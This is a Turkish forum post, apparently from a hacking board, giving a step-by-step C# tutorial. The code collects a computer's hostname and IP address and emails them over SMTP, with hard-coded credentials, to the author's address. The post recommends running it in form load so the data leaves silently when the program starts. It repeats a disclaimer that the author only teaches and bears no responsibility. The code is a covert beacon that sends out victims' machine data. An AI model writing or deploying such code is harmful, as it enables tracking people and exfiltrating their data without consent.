- Yasaklandı
- #1
Öncelikle Merhaba Arkadaşlar Bugün Sizlere Güzel Bir Konu Paylaşacağım.
AMA BEN BURADA SADECE ÖĞRETİYORUM KULLANIMI DAHİLİNDE SORUMLUSU BEN DEĞİLİM !
Şimdi öncelikle projenin Using kısmına şunları ekliyoruz.
Şimdi ise void olarak SendMail adında bir Method oluşturuyoruz.
ve içine bunları ekliyoruz.
Devamıdan ise bunları:
SendMail method unuda form1_load ta kullanırsanız uygulama açılır açılmaz mesaj gelecektir.
Tekrar söylüyorum sorumluluk bende değildir.
Türkiye'de biligi paylaşımı çoz az. Herkes parayı veren düdüğü çalar kafasında.
Emeğe saygı bi Beğeni alırım
AMA BEN BURADA SADECE ÖĞRETİYORUM KULLANIMI DAHİLİNDE SORUMLUSU BEN DEĞİLİM !
Şimdi öncelikle projenin Using kısmına şunları ekliyoruz.
C#:
using System.Net;
using System.Net.Mail;
Şimdi ise void olarak SendMail adında bir Method oluşturuyoruz.
ve içine bunları ekliyoruz.
C#:
var PcName = Dns.GetHostName();//PC Adını Alıyoruz
MailMessage msg = new MailMessage();//Göndereceğimiz Mesaj İle İlgili
SmtpClient client = new SmtpClient();//Mesajımızın ayarları ve Göndermek için lazım.
client.EnableSsl = true; //Gönderilen Mesajın Şifrelenmesini Sağlıyor true Olmazsa Çalışmaz.
C#:
//Buraya birinci tırnak içine mail adresinizi ikinci parantez içine mail şifrenizi giriyorsunuz
client.Credentials = new System.Net.NetworkCredential("[email protected]", "passwd123");
//Burası önemli eğer eğer üstteki mail adresimiz outlook ise "smtp.live.com" yazıyoruz.
//Eğer gmail ise "smtp.gmail.com" yazıyoruz.
client.Host = "smtp.example.com";
//Bu böle kalsın bu smtp haberleşme portu.
client.Port = 587;
//Burada PC nin IP adresini alıyoruz.
var address = Dns.GetHostByName(PcName).AddressList[0].ToString();
//Mailin başlığını ayarlıyoruz ben böyle yaptım ve başlığa PC isim yazdırdım.
msg.Subject = "PC Name - " + PcName;
//Mail'in ana mesaj bölümüne ise IP adresini yazdırdım.
msg.Body = address;
//Burada Mesajın kimden geldiğini belirtiyoruz.
msg.From = new MailAddress("[email protected]");
//Burası mesajın yollanacak olan mail
msg.To.Add("[email protected]");
//burada artık mesajı yolluyoruz
client.Send(msg);
Tekrar söylüyorum sorumluluk bende değildir.
Türkiye'de biligi paylaşımı çoz az. Herkes parayı veren düdüğü çalar kafasında.
Emeğe saygı bi Beğeni alırım